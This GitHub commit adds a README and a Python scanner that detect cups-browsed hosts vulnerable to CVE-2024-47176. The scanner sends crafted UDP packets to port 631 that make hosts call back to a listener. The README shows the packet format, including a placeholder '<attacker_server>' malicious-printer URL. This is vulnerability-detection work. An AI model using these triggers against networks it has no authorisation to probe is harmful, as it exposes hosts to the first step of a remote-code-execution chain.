-
Notifications
You must be signed in to change notification settings - Fork 0
Commit
This commit does not belong to any branch on this repository, and may belong to a fork outside of the repository.
- Loading branch information
Showing
2 changed files
with
261 additions
and
0 deletions.
There are no files selected for viewing
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,77 @@ | ||
# Quick Start | ||
Example usage: `python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.1:1337` | ||
|
||
# CVE-2024-47176 Vulnerability Scanner (cups-browsed) | ||
|
||
## What is CUPS And Why Does It Matter? | ||
CUPS (Common Unix Printing System) is an open-source framework for managing and controlling printers on UNIX and UNIX-like systems. | ||
It is one of the most used widely-used libraries for printing and is supported by UNIX, Linux, and some Apple devices. | ||
|
||
Several critical vulnerabilities were found in CUPS, which when chained together, can lead to remote code execution. | ||
The CVEs in question are CVE-2024-47176, CVE-2024-47076, CVE-2024-47175, CVE-2024-47177. | ||
|
||
The vulnerabilities allow a remote attacker to add or re-configure network printers in such a way that they will execute arbitrary code when users try to print from them. | ||
|
||
# Scanning for Vulnerable CUPS Systems | ||
## A Quick Overview of CVE-2024-47176 | ||
The first vulnerability in the chain, CVE-2024-47176, is a flaw in the cups-browsed daemon. | ||
|
||
The vulnerability arises from the fact that cups-browsed binds its control port (UDP port 631) to INADDR_ANY, exposing it to the world. | ||
Since requests are not authenticated, anyone capable of reaching the control port can instruct cups-browsed to perform printer discovered. | ||
|
||
In cases when the port is not reachable from the internet (due to firewalls or NAT), it may still be reachable via the local network, enabling privilege escalation and lateral movement. | ||
For this reason, I've created this scanner designed to scan your local network for vulnerable cups-browsed instances. | ||
|
||
## How CVE-2024-47176 Scanning Works | ||
Typically, an attacker would begin the exploitation process by sending a specially crafted request to cups-browsed on UDP port 631, causing it to reach out to a malicious URL under their control. | ||
|
||
For example, a UDP packet containing the following: `0 3 http://<attacker_server>/printers/malicious_printer` would trigger cups-browsed to issue a HTTP request to `http://<attacker_server>/printers/malicious_printer`. | ||
|
||
If the URL were to present as a malicious printer, it could chain the rest of the CVEs in order to gain remote code execution. | ||
|
||
Using this mechanism, we can trigger a vulnerable cups-browsed instance to issue a HTTP request (callback) to our own server, identifying itself as vulnerable. | ||
|
||
The scanning process is as follows: | ||
1. Set up a basic HTTP server (no need to identify as a printer, since we will not be exploiting the RCE vulnerability). | ||
2. Craft a UDP packet which will instruct cups-browsed to connect to our HTTP server. | ||
3. Send the UDP packet to every IP in a give range on port 631. | ||
4. Log any POST requests to the `/printers/` endpoint, which are triggered by vulnerable cups-browsed instances. | ||
|
||
Assuming our HTTP server is hosted on `10.0.0.1:1337`, our UDP packet should look like this: `0 3 http://10.0.0.1:1337/printers/test1234` | ||
|
||
# Automating Scans with cups_scanner.py | ||
This python scanner handles everything for you (both the HTTP server and scanning). | ||
|
||
The script launches a temporary HTTP server via http.server on a specified ip and port, then constructs and sends UDP packets to the every IP in the specified range. | ||
The HTTP server will automatically capture callbacks from vulnerable cups-browsed instances and log them to disk. | ||
|
||
User friendly logs are written `logs/cups.log` and raw HTTP requests are written to `logs/requests.log` | ||
|
||
## command line arguments | ||
`--target` | ||
the CIDR(s) to scan. Can be a single CIDR or multiple CIDRs separated by commas. | ||
`--callback` the local ip and port to host our HTTP server on (must be reachable via the target range) | ||
|
||
## Example Usage | ||
**Scanning CIDR `10.0.0.0/24` from ip address `10.0.0.1`, hosting the callback server on `1337`:** | ||
`python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.1:1337` | ||
|
||
**Scanning multiple CIDRs from ip address `10.0.0.1`, hosting the callback server on `1337`:** | ||
`python3 cups_scanner.py --targets 10.0.0.0/24,10.0.1.0/24 --callback 10.0.0.1:1337` | ||
|
||
note: the callback server IP must belong to the scanning host, and the port must be reachable from every target IPs. | ||
|
||
## Example Output | ||
```bash | ||
<root@axthony> python3 cups_scanner.py --targets 10.0.0.0/24 --callback 10.0.0.0.1:1337 | ||
[2024-10-06 21:57:09] starting callback server on 10.0.0.1:1337 | ||
[2024-10-06 21:57:14] callback server running on port 10.0.0.1:1337... | ||
[2024-10-06 21:57:14] starting scan | ||
[2024-10-06 21:57:14] scanning range: 10.0.0.0 - 10.0.0.255 | ||
[2024-10-06 21:57:14] scan done, use CTRL + C to callback stop server | ||
[2024-10-06 21:57:14] received callback from vulnerable device: 10.0.0.22 - CUPS/2.4.10 (Linux 5.10.0-kali7-amd64; x86_64) IPP/2.0 | ||
[2024-10-06 21:57:14] received callback from vulnerable device: 10.0.0.25 - CUPS/2.4.10 (Linux 5.10.0-kali7-amd64; x86_64) IPP/2.0 | ||
[2024-10-06 21:57:17] shutting down server and exiting... | ||
``` | ||
|
||
for more info see: [Official CUPS Vulnerability Write Up](https://www.evilsocket.net/2024/09/26/Attacking-UNIX-systems-via-CUPS-Part-I/) |
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
Original file line number | Diff line number | Diff line change |
---|---|---|
@@ -0,0 +1,184 @@ | ||
#!/usr/bin/env python3 | ||
import socket | ||
import ipaddress | ||
import argparse | ||
import threading | ||
import time | ||
import signal | ||
import sys | ||
import os | ||
from http.server import BaseHTTPRequestHandler, HTTPServer | ||
|
||
|
||
# a simple function to enable easy changing of the timestamp format | ||
def timestamp(): | ||
return time.strftime("%Y-%m-%d %H:%M:%S") | ||
|
||
|
||
# custom class for handling HTTP requests from cups-browsed instances | ||
class CupsCallbackRequest(BaseHTTPRequestHandler): | ||
# replace default access log behavior (logging to stderr) with logging to access.log | ||
# log format is: {date} - {client ip} - {first line of HTTP request} {HTTP response code} {client useragent} | ||
def log_message(self, _format, *_args): | ||
log_line = f'[{timestamp()}] {self.address_string()} - {_format % _args} ' \ | ||
f'{self.headers["User-Agent"]}\n' | ||
self.server.access_log.write(log_line) | ||
self.server.access_log.flush() | ||
|
||
# log raw requests from cups-browsed instances including POST data | ||
def log_raw_request(self): | ||
# rebuild the raw HTTP request and log it to requests.log for debugging purposes | ||
raw_request = f'[{timestamp()}]\n' | ||
raw_request += f'{self.requestline}\r\n' | ||
raw_request += ''.join(f"{key}: {value}\r\n" for key, value in self.headers.items()) | ||
|
||
content_length = int(self.headers.get('Content-Length', 0)) | ||
if content_length > 0: | ||
raw_body = self.rfile.read(content_length) | ||
self.server.request_log.write(raw_request.encode('utf-8') + b'\r\n' + raw_body + b'\r\n\r\n') | ||
else: | ||
self.server.request_log.write(raw_request.encode('utf-8')) | ||
|
||
self.server.request_log.flush() | ||
|
||
# response to all requests with a static response explaining that this server is performing a vulnerability scan | ||
# this is not required, but helps anyone inspecting network traffic understand the purpose of this server | ||
def send_static_response(self): | ||
self.send_response(200, 'OK') | ||
self.send_header('Content-Type', 'text/plain') | ||
self.end_headers() | ||
self.wfile.write(b'This is a benign server used for testing cups-browsed vulnerability CVE-2024-47176') | ||
|
||
# handle GET requests (we don't need to but returning our default response helps anyone investigating the server) | ||
def do_GET(self): | ||
self.send_static_response() | ||
|
||
# handle POST requests, cups-browsed instances should send post requests to /printers/ and /printers/<callback_url> | ||
def do_POST(self): | ||
# we'll just grab all requests starting with /printers/ to make sure we don't miss anything | ||
# some systems will check /printers/ first and won't proceed to the full callback url if response is invalid | ||
if self.path.startswith('/printers/'): | ||
ip, port = self.client_address | ||
|
||
# log the cups-browsed request to cups.log and requests.logs and output to console | ||
print(f'[{timestamp()}] received callback from vulnerable device: {ip} - {self.headers["User-Agent"]}') | ||
self.server.cups_log.write(f'[{timestamp()}] {ip}:{port} - {self.headers["User-Agent"]} - {self.path}\n') | ||
self.server.cups_log.flush() | ||
self.log_raw_request() | ||
|
||
self.send_static_response() | ||
|
||
|
||
# custom class for adding file logging capabilities to the HTTPServer class | ||
class CupsCallbackHTTPServer(HTTPServer): | ||
def __init__(self, server_address, handler_class, log_dir='logs'): | ||
super().__init__(server_address, handler_class) | ||
# create 'logs' directory if it doesn't already exist | ||
log_dir = 'logs' | ||
if not os.path.exists(log_dir): | ||
os.makedirs(log_dir) | ||
|
||
# create three separate log files for easy debugging and analysis | ||
# access.log - any web requests | ||
# cups.log - ip, port, useragent, and request URL for any request sent to CUPS endpoint | ||
# requests.log - raw HTTP headers and POST data for any requests sent to the CUPS endpoint (for debugging) | ||
self.access_log = open(f'{log_dir}/access.log', 'a') | ||
self.request_log = open(f'{log_dir}/requests.log', 'ab') | ||
self.cups_log = open(f'{log_dir}/cups.log', 'a') | ||
|
||
def shutdown(self): | ||
# close all log files on shutdown before shutting down | ||
self.access_log.close() | ||
self.request_log.close() | ||
self.cups_log.close() | ||
super().shutdown() | ||
|
||
|
||
# start the callback server to so we can receive callbacks from vulnerable cups-browsed instances | ||
def start_server(callback_server): | ||
host, port = callback_server.split(':') | ||
port = int(port) | ||
|
||
if port < 1 or port > 65535: | ||
raise RuntimeError(f'invalid callback server port: {port}') | ||
|
||
server_address = (host, port) | ||
_httpd = CupsCallbackHTTPServer(server_address, CupsCallbackRequest) | ||
print(f'[{timestamp()}] callback server running on port {host}:{port}...') | ||
|
||
# start the HTTP server in a separate thread to avoid blocking the main thread | ||
server_thread = threading.Thread(target=_httpd.serve_forever) | ||
server_thread.daemon = True | ||
server_thread.start() | ||
|
||
return _httpd | ||
|
||
|
||
def scan_range(ip_range, callback_server): | ||
# the vulnerability allows us to add an arbitrary printer by sending command: 0, type: 3 over UDP port 631 | ||
# we can set the printer to any http server as long as the path starts with /printers/ or /classes/ | ||
# we'll use http://host:port/printers/cups_vulnerability_scan as our printer endpoint | ||
udp_socket = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) | ||
udp_callback = f'0 3 http://{callback_server}/printers/cups_vulnerability_scan'.encode('utf-8') | ||
|
||
# expand the CIDR notation into a list of IP addresses | ||
ip_range = list(ipaddress.ip_network(ip_range)) | ||
|
||
if len(ip_range) < 1: | ||
raise RuntimeError("error: invalid ip range") | ||
|
||
print(f'[{timestamp()}] scanning range: {ip_range[0]} - {ip_range[-1]}') | ||
|
||
# send the CUPS command to each IP on port 631 to trigger a callback to our callback server | ||
for ip in ip_range: | ||
ip = str(ip) | ||
udp_socket.sendto(udp_callback, (ip, 631)) | ||
|
||
|
||
# handle CTRL + C abort | ||
def signal_handler(_signal, _frame, _httpd): | ||
print(f'[{timestamp()}] shutting down server and exiting...') | ||
_httpd.shutdown() | ||
sys.exit(0) | ||
|
||
|
||
if __name__ == '__main__': | ||
parser = argparse.ArgumentParser( | ||
prog='python3 scanner.py', | ||
description='Uses the callback mechanism of CVE-2024-47176 to identify vulnerable cups-browsed instances', | ||
usage='python3 scanner.py --targets 192.168.0.0/24 --callback 192.168.0.1:1337' | ||
) | ||
|
||
parser.add_argument('--callback', required=True, dest='callback_server', | ||
help='the host:port to host the callback server on (must be reachable from target network) ' | ||
'example: --callback 192.168.0.1:1337') | ||
|
||
parser.add_argument('--targets', required=True, dest='target_ranges', | ||
help='a comma separated list of ranges ' | ||
'example: --targets 192.168.0.0/24,10.0.0.0/8') | ||
|
||
args = parser.parse_args() | ||
|
||
try: | ||
# start the HTTP server to captures cups-browsed callbacks | ||
print(f'[{timestamp()}] starting callback server on {args.callback_server}') | ||
httpd = start_server(args.callback_server) | ||
|
||
# register sigint handler to capture CTRL + C | ||
signal.signal(signal.SIGINT, lambda _signal_handler, frame: signal_handler(signal, frame, httpd)) | ||
|
||
# split the ranges up by comma and initiate a scan for each range | ||
targets = args.target_ranges.split(',') | ||
print(f'[{timestamp()}] starting scan') | ||
for target in targets: | ||
scan_range(target, args.callback_server) | ||
|
||
print(f'[{timestamp()}] scan done, use CTRL + C to callback stop server') | ||
|
||
# loop until user uses CTRL + C to stop server | ||
while True: | ||
time.sleep(1) | ||
|
||
except RuntimeError as e: | ||
print(e) | ||
|